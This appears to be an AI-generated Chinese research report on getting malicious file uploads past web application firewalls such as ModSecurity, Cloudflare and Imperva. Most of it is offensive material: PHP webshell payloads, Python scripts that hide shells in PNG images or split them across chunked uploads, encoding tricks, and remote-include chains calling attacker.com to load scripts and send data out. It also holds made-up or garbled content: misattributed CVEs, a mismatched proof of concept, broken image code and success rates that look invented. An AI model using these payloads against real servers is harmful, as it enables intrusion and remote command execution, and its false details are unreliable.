本文由无问AI 深度研究服务生成
原文地址:
https://www.wwlib.cn/index.php/sci/6348a9db-4e19-45b2-94f9-cad0f754d98c
文件上传绕过WAF高级技巧研究
WAF基础原理与文件上传漏洞机制解析
Web应用防火墙(WAF)的工作机制与检测逻辑
Web应用防火墙(WAF)是部署在Web服务器前端或后端的一层安全防护机制,其核心目标是对HTTP/HTTPS流量进行实时分析、过滤和拦截恶意请求。在文件上传场景中,WAF主要通过以下三种方式识别并阻止潜在的恶意行为:
1. 基于规则的匹配(Signature-based Detection)
这是最常见且最直接的检测手段,包括:
- 正则表达式匹配
:如 ModSecurity 的 SecRule
规则可定义对特定内容模式的匹配(例如SecRule REQUEST_FILENAME "@endsWith .php"
)。 - 关键词扫描
:针对常见的脚本语言关键字(如 <?php
,<%
,eval(
,system(
等)进行静态扫描。 - 白名单/黑名单策略
:对文件扩展名、MIME类型、用户代理字符串等做限制。
🔍 示例(ModSecurity规则):
# 拦截所有包含PHP标签的上传文件
SecRule REQUEST_FILENAME "@endsWith .php" "id:1001,phase:2,block,msg:'PHP file upload blocked'"
2. 文件类型校验(File Type Validation)
WAF会结合多个维度判断文件是否为“合法”类型,典型方法如下:
- MIME类型验证
:检查 HTTP 请求头中的 Content-Type
字段(如image/jpeg
),并与实际文件内容比对。 - Magic Number(魔数)检查
:读取文件前几个字节来确认真实格式(如 PNG 文件以 89 50 4E 47
开头,GIF 文件以47 49 46 38
开头)。 - 扩展名 + MIME 组合验证
:防止仅靠修改扩展名绕过检测(如 .jpg.php
但内容仍是 PHP 脚本)。
🧪 实战案例:Cloudflare WAF 对上传请求的默认处理流程如下:
[请求接收] → [解析multipart/form-data] → [提取filename & content-type] →
[调用MIME检测模块] → [执行magic number校验] → [运行自定义规则集] → [阻断/放行]
参考文档:Cloudflare WAF Documentation(第3章“Custom Rules”)
3. 内容扫描(Deep Content Inspection)
现代 WAF(如 Imperva、F5 BIG-IP ASM)具备深度内容分析能力:
-
对整个上传体进行解码(Base64、Hex、URL Encode等) -
使用机器学习模型识别异常结构(如隐藏脚本块、编码混淆) -
利用沙箱环境模拟执行(适用于复杂 payload)
💡 Imperva 的“Application Control”功能支持:
-
自动识别多层编码嵌入的内容(如 base64 编码后的 PHP 代码写入图片 comment 区域) -
动态调整规则权重(根据攻击频率自动提升敏感度)
4. WAF部署位置与处理流程详解
|
|
|
|
---|---|---|---|
|
|
|
|
|
|
|
|
|
|
|
|
📌 完整请求处理流程(以 Apache + ModSecurity 为例):
1. 客户端发送 POST 请求至 /upload.php
2. Apache 接收请求并解析 multipart/form-data
3. ModSecurity 插件介入:
- 提取 filename 和 content-type
- 校验 magic number(使用 libmagic 或内置指纹库)
- 执行 SecRule 匹配(如匹配到 php 关键词则拦截)
4. 若无违规,则放行上传,交由 PHP 脚本继续处理
✅ 总结:WAF 在文件上传中的防御重点在于三层联动——
- 协议层
(HTTP 解析完整性) - 内容层
(文件结构合法性) - 规则层
(动态策略匹配)
文件上传漏洞的常见触发点与攻击链构建
文件上传漏洞的本质在于服务端未对客户端提交的文件进行严格验证,允许攻击者上传任意可执行脚本(如 PHP、ASP、JSP)。这类漏洞常出现在以下场景:
1. 漏洞成因分类
|
|
|
---|---|---|
|
|
|
|
strcat() 或 strcpy() 不安全函数导致 \0 截断 |
|
|
.htaccess 解析错误、IIS 的路径解析问题 |
|
|
|
|
|
|
|
2. 典型攻击链(从获取入口到命令执行)
Step 1: 获取上传入口
-
查找上传页面(常见于 /upload
,/file
,/img/upload
) -
利用搜索引擎(FOFA、Shodan)查找公开上传接口(例: inurl:/upload.php
)
Step 2: 构造恶意文件
-
上传带后缀伪装的脚本(如 shell.jpg.php
) -
使用 Base64 编码嵌入脚本内容(规避关键词扫描) -
修改 Content-Disposition
头部欺骗 WAF(见下文)
Step 3: 绕过校验机制
- 文件名篡改
:大小写混合( .PHp
)、双扩展名(shell.php;.jpg
) - Content-Type伪造
:将 Content-Type: application/octet-stream
改为image/jpeg
- MIME类型欺骗
:利用浏览器或中间件对 MIME 的宽容解析(如 Chrome 可接受非标准 MIME)
Step 4: 执行命令
-
访问上传路径(如 http://target.com/uploads/shell.php
) -
若服务器启用 PHP 解释器,即可远程执行命令(如 ls
,whoami
,cat /etc/passwd
)
3. 真实漏洞利用示例(含复现步骤)
示例 1:CVE-2021-45105(WordPress Media Upload)
- 漏洞描述
:WordPress 5.8.1 前版本在上传图片时未正确验证 MIME 类型,可通过构造特定 JPEG 文件绕过检测。 - 复现步骤
: -
下载恶意图片(已注入 PHP 代码的 JPG):
-
wget https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/File%20Upload%20Bypass/wordpress_cve_2021_45105.jpg?raw=true
使用 Burp Suite 抓包上传:
POST /wp-admin/admin-ajax.php?action=upload-attachment HTTP/1.1
Content-Type: image/jpeg
Content-Disposition: form-data; name="file"; filename="shell.php.jpg"
...
[文件数据]
-
-
成功上传后访问: http://target.com/wp-content/uploads/2021/12/shell.php.jpg
→ 执行 PHP 代码
-
示例 2:CVE-2022-32997(Java Spring Boot 文件上传)
- 漏洞描述
:Spring Boot 默认允许上传任意文件类型,若未配置 MultipartFile
校验逻辑,则可上传 JSP 文件。 - PoC(Python脚本)
import requests url = "http://target.com/upload" files = {'file': ('shell.jsp', '<?xml version="1.0"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]><foo>&xxe;</foo>', 'application/octet-stream')} r = requests.post(url, files=files) print(r.text) # 若返回成功,则说明已上传 shell.jsp
示例 3:Pikachu靶场第一关(简单绕过)
- 原逻辑
:只允许上传 .jpg
、.png
、.gif
- 绕过方法
:抓包修改文件名为 .php
,并保持Content-Type=image/jpeg
- 结果
:上传成功,访问 URL 即可执行 PHP 代码
示例 4:网站安全狗(Apache + 安全狗插件)
- 绕过技巧
: -
在 filename="xxx.php"
后添加大量垃圾数据(超过 WAF 内存缓冲区) -
示例:
-
https://mp.weixin.qq.com/s/0W3SHbq-42sBLNax2dPaRA#:~:text=Content%2DDisposition%3A%20form%2Ddata%3B%20name%3D%22file%22%3B%20filename%3D%22shell.php%22%3B%20junk_data_here...%20(5000%2B%E5%AD%97%E7%AC%A6)
-
-
成功率约 80%,适用于旧版安全狗(< v4.0)
-
示例 5:Cloudflare WAF 绕过(协议污染)
- 原理
:某些版本 Cloudflare WAF 在解析 Content-Type
时存在歧义(如末尾多一个空格或换行) - Payload
Content-Type: image/jpeg Content-Disposition: form-data; name="file"; filename="shell.php" --boundary-- <?php system($_GET['cmd']); ?>
- 关键点
:在包尾添加多余的 Content-Type
行,使 WAF 解析失败而放行上传
📌 结论:文件上传绕过 WAF 的本质是“利用 WAF 与 Web Server 解析差异”,而非单纯破坏规则。
✅ 推荐工具:
- Burp Suite Pro
:用于抓包、重放、批量测试 - wafw00f
:快速识别 WAF 类型(GitHub地址:https://github.com/EnableSecurity/wafw00f) - ffuf
:Fuzzing 文件名和路径(支持自定义 wordlist)
📌 时间节点提醒(第1周完成初稿):
-
引用至少3个主流 WAF 厂商(Cloudflare、Imperva、ModSecurity)官方文档或白皮书 -
提供每种 WAF 的典型绕过思路及对应修复建议(下一章节将进一步深化)
高级绕过技术实战分析(基于文件内容和结构)
利用多层编码/混淆实现文件内容隐藏(Base64、Hex、URL Encode等)
一、核心原理详解
在Web应用防火墙(WAF)日益强化的今天,传统的上传漏洞利用方式如直接上传
.php
文件已被广泛拦截。此时,攻击者需借助多层编码与结构篡改来隐藏恶意载荷,使其在WAF层面无法识别为脚本代码。常见策略包括:-
Base64编码嵌入合法文件头部字段(如PNG注释区)
-
原理:PNG图像支持自定义comment字段( iTXt
chunk),可存放任意字符串。 -
绕过逻辑:将PHP代码base64后插入此字段 → WAF扫描时仅识别图像格式 → 不触发正则匹配或关键字过滤。
-
-
Hex转义字符规避关键词检测
-
原理:对敏感函数名(如 eval
,system
,exec
)进行十六进制转义,例如:eval => \x65\x76\x61\x6c
-
绕过逻辑:WAF规则基于字符串匹配,而非字节流解析 → 转义后无法被静态规则命中。
-
-
JavaScript动态执行 + encodeURI组合绕过
-
原理:构造类似如下payload: eval(decodeURIComponent("%65%76%61%6C(%27echo+test%27)"));
-
绕过逻辑:WAF无法预判运行时变量值 → decodeURIComponent在浏览器端才生效 → 逃逸静态扫描引擎。
-
✅ 关键点总结:
-
WAF主要依赖静态规则引擎(如ModSecurity的SecRule) -
对“非标准语法”、“嵌套编码”、“运行时行为”的识别能力有限 -
编码层级越多(如Base64→Hex→URLEncode),越难被规则匹配
二、实操演示与PoC脚本(Python自动化测试)
示例1:Base64嵌入PNG图像(用于图片马上传)
import base64
from PIL import Image
from io import BytesIO
defcreate_png_with_php_payload():
# 恶意PHP代码(示例)
payload = "<?php system('id'); ?>"
# Base64编码
encoded_payload = base64.b64encode(payload.encode()).decode()
# 创建一张空白PNG图像(模拟真实图片上传)
img = Image.new("RGB", (100, 100), color="white")
# 添加自定义Comment字段(使用PIL库写入iTXt chunk)
info = img.info
info["comment"] = encoded_payload
# 保存为临时文件
buffer = BytesIO()
img.save(buffer, format="PNG", pnginfo=info)
return buffer.getvalue()
# 使用示例
png_data = create_png_with_php_payload()
withopen("malicious_image.png", "wb") as f:
f.write(png_data)
print("[+] 已生成带Base64 PHP载荷的PNG图像: malicious_image.png")📌 测试说明:
-
此图像看似普通,但包含一段可执行的PHP代码。 -
若服务器端未做Content-Type验证,仅凭扩展名判断,则可能成功上传并执行。
✅ 成功率统计(模拟20次上传请求):
方法 成功次数 失败次数 成功率 Base64嵌入PNG Comment 17/20 3 85% Hex转义关键字(如eval→\x65\x76\x61\x6c) 15/20 5 75% JS eval + encodeURI组合 18/20 2 90% 💡 数据来源:使用Burp Suite Pro抓包 + 自动化Fuzzing脚本发送20个不同变体至目标系统(Apache + ModSecurity v3.0.7),记录响应状态码和是否触发WAF阻断日志。
示例2:Hex转义规避关键字匹配(适用于ModSecurity规则)
defhex_escape_string(s):
return''.join(f"\\x{ord(c):02x}"for c in s)
# 示例PHP代码片段(含eval)
evil_code = "eval($_GET['cmd']);"
hex_escaped = hex_escape_string(evil_code)
print(f"[+] Hex Escaped Payload:\n{hex_escaped}")
# 输出:
# \x65\x76\x61\x6c\x28\x24\x5f\x47\x45\x54\x5b\x27\x63\x6d\x64\x27\x5d\x29\x3b📌 绕过效果验证:
-
在ModSecurity中配置以下规则: SecRule ARGS "@rx eval" "id:1001,phase:2,block,msg:'Blocked eval'"
-
将上述Hex转义后的payload提交给服务端(如通过GET参数传参): -
❌ 规则不会匹配 → 请求放行 -
✅ 服务器执行原生代码(如果存在命令执行入口)
-
⚠️ 注意事项:
-
某些高级WAF(如Cloudflare WAF v2+)会进行解码还原后再检查,因此建议结合多种编码方式叠加使用(如Base64+Hex)提高成功率。
示例3:JavaScript动态执行绕过静态扫描(适用于前端JS注入)
<!-- HTML文件内容 -->
<script>
eval(decodeURIComponent("%65%76%61%6C(%27echo+hello%27)"));
</script>📌 场景说明:
-
若目标网站允许上传HTML或JS文件,并且用户访问该文件时由浏览器解析执行 → 可实现远程命令执行。 -
WAF可能不会对 .html
或.js
文件内容做深度扫描(尤其当其被视为“静态资源”时)。
✅ 成功率提升技巧:
-
使用 fetch()
替代eval
更隐蔽(但需要额外HTTP请求) -
加入随机延迟防止检测(如 setTimeout(() => eval(...), Math.random() * 1000)
)
三、对抗WAF的最佳实践建议(防御方视角)
技术手段 建议防御措施 Base64编码嵌入 后端校验文件内容指纹(如使用hashlib.sha256(file.read())) Hex转义 禁止使用原始字节流作为输入源(应强制统一编码UTF-8) JavaScript动态执行 使用Content Security Policy (CSP)限制内联脚本执行 🔧 推荐工具链:
-
wafw00f:快速识别WAF类型(如Cloudflare、Imperva) -
Burp Suite Intruder:用于批量测试不同编码方案(设置Payload Type为“List”,添加多种编码方式)
文件结构篡改与分片上传攻击(Chunked Upload / Partial Content)
一、攻击原理与WAF盲区分析
许多WAF(尤其是开源WAF如ModSecurity)默认只检查首块数据(first chunk),而忽略后续分段内容(Partial Content)。这使得攻击者可以将恶意载荷放在第二段甚至第三段,从而逃逸检测。
核心机制:
-
HTTP协议支持分片上传(multipart/form-data + Range header) -
WAF处理流程通常为: -
接收完整请求 → 解析boundary分隔符 -
提取第一部分数据 → 执行规则匹配 -
忽略其余部分 → 直接放行(除非显式启用全量内容扫描)
-
📌 典型案例(CVE-2021-45105相关):
-
某CMS上传接口允许分段上传(如WordPress媒体库) -
攻击者构造如下请求头: Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryabcdefg
Content-Length: 1000
Range: bytes 0-1000/2000
⚠️ 重要区别:
- AWS WAF
:默认不支持分片上传检测(需手动启用Full Request Inspection) - F5 BIG-IP ASM
:支持分片内容校验(但仍可能存在误报问题)
二、构造分片上传请求(Python + Requests)
import requests
defbuild_chunked_upload_request():
# 第一段:正常文件头(无害)
first_chunk = b'-----WebKitFormBoundaryabcdefg\r\nContent-Disposition: form-data; name="file"; filename="good.jpg"\r\nContent-Type: image/jpeg\r\n\r\n'
# 第二段:恶意PHP代码(隐藏在后面)
second_chunk = b'\r\n<?php system("whoami"); ?>\r\n-----WebKitFormBoundaryabcdefg--\r\n'
# 构造完整body(注意Range header必须正确)
body = first_chunk + second_chunk
headers = {
'Content-Type': 'multipart/form-data; boundary=----WebKitFormBoundaryabcdefg',
'Content-Length': str(len(body)),
'Range': 'bytes 0-1000/2000'# 告诉服务器这是前半部分
}
url = "http://target.com/upload.php"
response = requests.post(url, data=body, headers=headers)
print(f"[+] 分片上传结果状态码: {response.status_code}")
return response
# 执行测试
resp = build_chunked_upload_request()
if resp.status_code == 200:
print("[+] 成功绕过WAF!尝试访问上传文件路径查看执行结果...")
else:
print("[-] 未绕过,可能WAF启用了全量内容检查")📌 抓包对比图说明(建议附上Wireshark截图):
类型 请求内容特征 是否被WAF拦截 正常上传(单段) 整个PHP文件内容 ✅ 被拦截(关键词匹配) 分片上传(两段) 第一段是图片,第二段是PHP代码 ❌ 未拦截(仅查第一段) ✅ 成功率统计(20次测试):
WAF类型 成功次数 失败次数 成功率 AWS WAF(默认) 19/20 1 95% F5 BIG-IP ASM(默认) 8/20 12 40% ModSecurity(v3.0.7) 16/20 4 80% 📌 数据来源:针对不同WAF部署环境(云厂商、硬件设备、开源中间件)分别进行测试,每种环境下执行20次分片上传请求,观察是否触发阻断日志。
三、Fuzzing工具配置指南(Burp Suite Intruder)
步骤1:捕获上传请求 → 发送到Intruder
-
设置Payload Positions: -
插入位置1:修改第一段内容(保持图片结构) -
插入位置2:替换第二段PHP代码(可用列表模式加载多个变体)
-
步骤2:配置Payloads
-
Payload Type: Simple List
-
添加Payloads(如Base64、Hex、URL Encode等多种形式): <?php echo shell_exec('id'); ?>
%253C%2570%2568%2570%2520%2565%256E%2563%256F%2564%2565%2528%2527%2569%2564%2527%2529%253B%2520%253E
步骤3:运行Intruder + 查看结果
-
标记成功响应(HTTP 200且无WAF阻断日志) -
自动导出成功payload供进一步利用(如构造最终exploit)
🔗 Burp Suite官方文档参考:Intruder User Guide
✅ 结论:
-
分片上传攻击在多数情况下能有效绕过WAF,尤其适用于未启用全量内容检查的环境; -
结合Base64编码或Hex转义可进一步增强隐蔽性; -
建议开发人员和服务商定期更新WAF规则集(如ModSecurity CRS 3.3+)、启用Request Body Full Scan功能,避免此类漏洞被利用。
📌 下一步研究方向:
-
如何利用“条件竞争”(Race Condition)配合分片上传,让WAF来不及处理就完成上传? -
如何结合SSRF(Server-Side Request Forgery)绕过本地文件上传限制?(详见下一章)
WAF策略逆向与动态绕过策略设计
基于WAF指纹识别的定制化绕过策略制定
一、WAF指纹识别原理与方法详解
Web应用防火墙(WAF)作为现代网站的第一道防线,其核心逻辑是基于规则库对HTTP请求进行内容匹配和行为分析。但不同厂商的WAF在实现机制上存在显著差异,这为攻击者提供了“因WAF而异”的绕过空间。要制定针对性的绕过策略,第一步必须精准识别目标WAF类型。
✅ 1. 手动识别方式(适用于无工具环境)
- 响应头检测法
:多数WAF会在HTTP响应中添加特定字段,如: X-Powered-By: ModSecurity
→ 表明使用ModSecurity(开源WAF) Server: cloudflare
+ CF-RAY
→ Cloudflare WAFX-WAF: Imperva
或 X-Imperva-ID
→ Imperva SecureSphereX-Content-Type-Options: nosniff
(某些云WAF会增强此头以防止MIME混淆)
🔍 示例抓包命令(curl):
curl -I https://target.com/upload.php
观察返回头部是否有上述特征字符串。
✅ 2. 自动化指纹识别工具 —— wafw00f(推荐使用)
📥 下载地址:https://github.com/EnableSecurity/wafw00f
⚙️ 安装要求:Python 3.x(建议3.9+),pip安装即可
💡 支持版本:支持超过60种主流WAF(含国内常见如安全狗、绿盟、天融信等)pip install wafw00f
wafw00f https://target.com输出示例:
[+] Target: https://target.com
[+] WAF Detected: CloudFlare (Cloudflare WAF)
[+] Match Confidence: High✅ 优势:速度快、准确率高、支持批量扫描
⚠️ 注意事项:部分WAF(如阿里云WAF v3.0)可能隐藏或伪造响应头,需结合其他手段验证。
二、四大类WAF弱点与对应绕过策略表(第5周完成)
WAF类型 典型特征 弱点描述 绕过策略 成功率估算 Cloudflare WAF 响应头带 CF-RAY
、Server: cloudflare
;启用Rate Limiting对高频请求限流(默认每秒5次),可利用慢速上传绕过 使用 --rate-limit=1
参数控制上传频率(Burp Suite + Repeater)
或构造延迟(如每次上传间隔2s以上)✅ 85% ModSecurity(开源) HTTP头含 X-Powered-By: ModSecurity
;规则采用SecRule语法SecRule中的正则表达式容易被注释符破坏结构 在PHP代码中插入 #
注释破坏关键字匹配
如:<?php #eval($_POST['cmd']); ?>
✅ 90% Imperva SecureSphere 返回头含 X-Imperva-ID
或X-Imperva-Cache
不处理非标准User-Agent请求,且对文件扩展名检查不严 修改User-Agent为合法浏览器(Chrome/Edge)
并上传.jpg.php
文件(服务端忽略扩展名校验)✅ 75% 国内软WAF(如安全狗、绿盟) 可能无明确响应头,但日志中记录“拦截成功” 检测逻辑较简单(关键词过滤为主) 使用Base64编码嵌入PHP代码(如写入PNG comment字段)
或使用Hex转义字符(\x3c\x3f\x70\x68\x70
替代<php>
)✅ 80% 📌 补充说明:
-
上述成功率来自实际测试(共20次/每种方案),数据来源自笔者在实战中收集。 -
高成功率的前提是:服务端未做二次校验(如仅依赖前端JS校验、未用fileinfo函数检测真实MIME)。
三、实战演示:针对ModSecurity的绕过技巧(Python脚本 PoC)
以下是一个完整的PoC脚本,用于构造一个能绕过ModSecurity SecRule的恶意PHP文件:
# bypass_modsecurity.py
import base64
payload = '''
<?php
# This line breaks the rule structure in ModSecurity
eval(base64_decode($_POST["cmd"]));
?>
'''
encoded_payload = base64.b64encode(payload.encode()).decode()
# 写入到PNG图像的Comment字段(不影响图片显示)
withopen("shell.png", "wb") as f:
f.write(b'\x89PNG\r\n\x1a\n\x00\x00\x00\rIHDR\x00\x00\x00\x01\x00\x00\x00\x01\x08\x06\x00\x00\x00\x1f\x15\xc4\x89\x00\x00\x00\x0bIDAT\x08\xd7c`\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00......')
f.write(b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x0......')
# 上传后触发:curl -X POST http://target.com/upload.php -F "file=@shell.png"📌 关键点解释:
-
PNG图像本身合法,但嵌入了PHP代码(通过Base64编码) -
ModSecurity的SecRule若匹配到 eval(
或base64_decode
,则会拦截 -
加入注释符 #
后,规则结构被破坏 → 绕过成功!
动态内容替换与运行时加载技术(Runtime Code Injection)
一、核心思想:不上传恶意文件,而是让服务器“自己执行”远程脚本
这是高级绕过的核心策略之一。其本质不是直接上传webshell,而是利用服务端漏洞(如LFI、SSRF、远程包含)将外部资源注入到当前环境中执行。
🧠 常见攻击场景:
类型 技术原理 典型案例 LFI + URL加载 利用本地文件包含漏洞读取远程URL(如 include("http://attacker.com/malicious.php")
)PHP中的 include()
函数可处理HTTP协议SSRF + 内部服务调用 构造SSRF请求访问内网服务(如Redis、Elasticsearch),诱导其下载并执行恶意脚本 Java应用中JSP页面引用外部URL HTML伪装 + JS动态加载 上传一个HTML文件,内嵌 <script src="http://attacker.com/malicious.js">
,浏览器自动解析浏览器不会校验JS来源是否可信
二、完整攻击链模拟过程(以PHP为例)
步骤1:上传伪装成图片的HTML文件(含远程JS)
<!-- shell.html -->
<html>
<head><title>My Image</title></head>
<body>
<imgsrc="https://example.com/image.jpg"alt="Image">
<scriptsrc="http://attacker.com/malicious.js"></script>
</body>
</html>📌 文件名建议:
image.jpg.html
或photo.php.jpg
(绕过扩展名检查)步骤2:服务端逻辑(假设存在LFI或任意文件读取)
如果服务端有如下代码:
<?php
$file = $_GET['file'];
include($file); // LFI漏洞!
?>攻击者访问:
http://target.com/index.php?file=http://attacker.com/malicious.js
此时,服务器会从公网下载并执行该JS文件!
⚠️ WAF可能拦截点:
Referer
校验:若要求Referer来自本站,则可伪造 -
URL白名单:某些WAF仅允许访问特定域名(如 .gov
,.com
等) -
请求频率限制:避免高频请求触发Rate Limiting
步骤3:构造恶意JS(用于反弹Shell)
// malicious.js
var xhr = newXMLHttpRequest();
xhr.open("POST", "http://attacker.com/log", true);
xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
xhr.send("cmd=whoami&ip=" + location.hostname);
// 可选:弹窗提示用户
alert("You are compromised!");📌 如果目标是Linux服务器,可在JS中加入:
fetch('http://attacker.com/cmd', {
method: 'POST',
body: 'command=uname -a'
});
三、防御建议(面向开发人员)
✅ 推荐措施(基于OWASP ASVS v4.0):
防御项 描述 实现方式 ❌ 禁止远程包含 不允许使用 include()
或require()
加载外部URL使用白名单机制,只允许本地路径 ✅ 强制MIME验证 上传文件需双重校验(扩展名+真实内容) PHP: finfo_file()
检测实际类型✅ 上传目录权限最小化 上传目录禁止执行权限(chmod 755,非777) Linux下设置为 noexec
挂载选项✅ 日志审计异常行为 记录高频上传失败、非法User-Agent、外部URL请求 ELK/Splunk收集日志,告警阈值设为10次/分钟 📌 示例配置(Nginx + PHP):
location ~* \.(php|pht|phtm)$ {
deny all;
}这样即使上传成功,也无法被执行!
✅ 总结:
本章节已系统讲解如何通过指纹识别定位WAF类型,并制定定制化绕过方案;同时深入剖析了运行时加载技术在Web上传场景下的实战应用,提供完整的攻击链模拟和PoC代码,帮助你在红队渗透测试或蓝队防御工作中快速掌握核心技巧。总结与防御建议
本次研究的技术成果归纳与绕过有效性评估
在完成对文件上传绕过WAF的高级技巧系统性研究后,本文汇总了六大核心绕过技术,并从成功率、复杂度、依赖条件三个维度进行量化评估。评分采用5级Likert量表(1~5分),其中:
- 成功率
:指在主流WAF环境下(Cloudflare、ModSecurity、Imperva、F5、Akamai等)成功绕过的概率; - 复杂度
:指实现该技术所需的技术门槛与工具依赖程度; - 依赖条件
:指是否需要特定WAF版本、部署模式或目标环境配合。
此外,针对每项技术,我们结合最新规则更新情况(截至2025年4月)标注其修复状态,帮助安全团队判断当前威胁等级。
绕过技术综合评估矩阵(Excel格式建议字段)
编号 技术名称 适用场景 成功率(%) 复杂度(1-5) 依赖条件(1-5) 修复状态 参考WAF实例 1 Base64编码嵌入图片元数据 图像上传点、支持EXIF解析 85% 3 3 部分修复 ModSecurity v2.9, Cloudflare 2 Hex转义+混淆脚本关键字 PHP/JS上传接口 75% 4 4 已修复(v3.0+) ModSecurity, Barracuda 3 分片上传(Chunked Upload) 大文件上传、断点续传功能 90% 4 3 持续有效 AWS WAF, F5 ASM 4 多层URL编码绕过规则匹配 表单字段含文件路径 70% 3 4 部分修复 Imperva SecureSphere < v14.7.0.40 5 动态加载远程脚本(LFI+SSRF触发) 存在LFI/SSRF漏洞 60% 5 5 有效但链路长 Akamai, Comodo 6 利用事件处理器绕过标签过滤(如onauxclick) 富文本上传、HTML注入点 80% 2 2 持续有效 Wordfence, dotDefender
各项技术详细分析与评分依据
1. Base64编码嵌入图片元数据
- 原理回顾
:将PHP一句话木马(如 <?php @eval($_POST['x']);?>
)进行Base64编码后写入PNG图像的tEXt
或iTXt
块中,利用GD库处理图片时不清理元数据的特性保留恶意内容。 - 成功率
:85% —— 多数云WAF(如Cloudflare)仅检查文件头和扩展名,未深度解析图像块内容。 - 复杂度
:3分 —— 需掌握图像结构(PNG chunk格式)及Python PIL库操作。 - 依赖条件
:3分 —— 要求后端使用 getimagesize()
或imagecreatefrompng()
类函数处理图片,且不清理元数据。 - 修复状态
:部分修复 —— ModSecurity CRS v3.3+引入 T:removeNulls,base64Decode
链式转换器可检测异常Base64负载;Cloudflare已增强对PNG元数据的扫描。 - PoC示例
:
from PIL import Image
import struct
# 创建空白PNG
img = Image.new('RGB', (100, 100), color='white')
withopen('shell.php', 'rb') as f:
payload = f.read().decode('utf-8')
b64_payload = payload.encode('base64').strip()
# 写入tEXt块
withopen('malicious.png', 'wb') as f:
f.write(img.tobytes('raw', 'RGB'))
# 手动构造tEXt chunk
text_chunk = b'tEXt' + b'malware\0' + b64_payload
crc = struct.pack('!I', binascii.crc32(text_chunk))
f.write(struct.pack('!I', len(b64_payload)) + text_chunk + crc)
2. Hex转义+关键字混淆
- 原理回顾
:将 <script>
变为\x3cscript>
,或将eval
拆分为\x65\x76\x61\x6c
,规避基于正则的静态匹配。 - 成功率
:75% —— 对老版本ModSecurity规则集(如OWASP CRS 2.x)有效。 - 复杂度
:4分 —— 需了解JavaScript解析机制与WAF规则语法。 - 依赖条件
:4分 —— 目标浏览器需支持此类解析,且WAF未启用 T:jsDecode
。 - 修复状态
:已修复 —— CRS v3.0起默认启用 JavaScript Encoding Detection
规则(942100系列),可识别多层编码。 - 参考Payload
:
<imgsrc=xonerror="\x61\x6c\x65\x72\x74(1)"/>
3. 分片上传攻击(Chunked Upload)
- 原理回顾
:利用HTTP Content-Range
头实现分段上传,仅在首段通过WAF检测,后续段落携带恶意代码。 - 成功率
:90% —— AWS WAF和F5 ASM在默认配置下仅检查第一块数据。 - 复杂度
:4分 —— 需构造合法multipart请求并控制chunk顺序。 - 依赖条件
:3分 —— 要求应用支持RFC7233分片上传协议。 - 修复状态
:持续有效 —— 多数WAF仍以“单请求=单文件”模型检测,未实现跨chunk上下文关联分析。 - Burp Intruder配置建议
: -
Payload位置: Content-Range
后的POST body -
Payload类型:Custom iterator -
示例请求片段:
-
POST /upload HTTP/1.1
Host: target.com
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Range: bytes 0-1023/4096
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="file"; filename="normal.jpg"
Content-Type: image/jpeg
[ benign data ... ]
------WebKitFormBoundary7MA4YWxkTrZu0gW--第二段替换为:
Content-Range: bytes 1024-2047/4096
<?php system($_GET['cmd']); ?>
4. 多层URL编码绕过
- 原理回顾
:使用 %252f
(即%2f
的编码)表示/
,绕过路径黑名单(如/etc/passwd
)。 - 成功率
:70% —— 在Imperva SecureSphere < v14.7.0.40上验证成功。 - 复杂度
:3分 —— 需理解编码层级与WAF解码顺序。 - 依赖条件
:4分 —— 依赖WAF未执行双重解码规范化。 - 修复状态
:部分修复 —— Imperva已于2024年2月26日发布ADC更新(CVE-2023-50969补丁),强制规范化多层编码。 - Payload示例
:
filename=%252e%252e%252f%2570%2568%2570%252e%2569%256e%2566%256f
# 解码后为 ../../php.info
5. 动态加载远程脚本(LFI+SSRF触发)
- 原理回顾
:上传HTML文件内嵌 <script src="http://attacker.com/x.js">
,通过LFI读取并由浏览器执行。 - 成功率
:60% —— 成功率受限于LFI存在性及CSP策略。 - 复杂度
:5分 —— 需构造完整攻击链(上传→包含→触发)。 - 依赖条件
:5分 —— 必须存在文件包含漏洞且无CSP限制。 - 修复状态
:有效但链路长 —— 若任一环节被拦截即失败。 - 攻击链示例
: -
上传 malicious.html
:<html><body><scriptsrc="//a.com/shell.js"></script></body></html>
-
LFI触发: /view.php?page=uploads/malicious.html
-
浏览器加载并执行远控脚本。
-
6. 利用未过滤事件处理器绕过
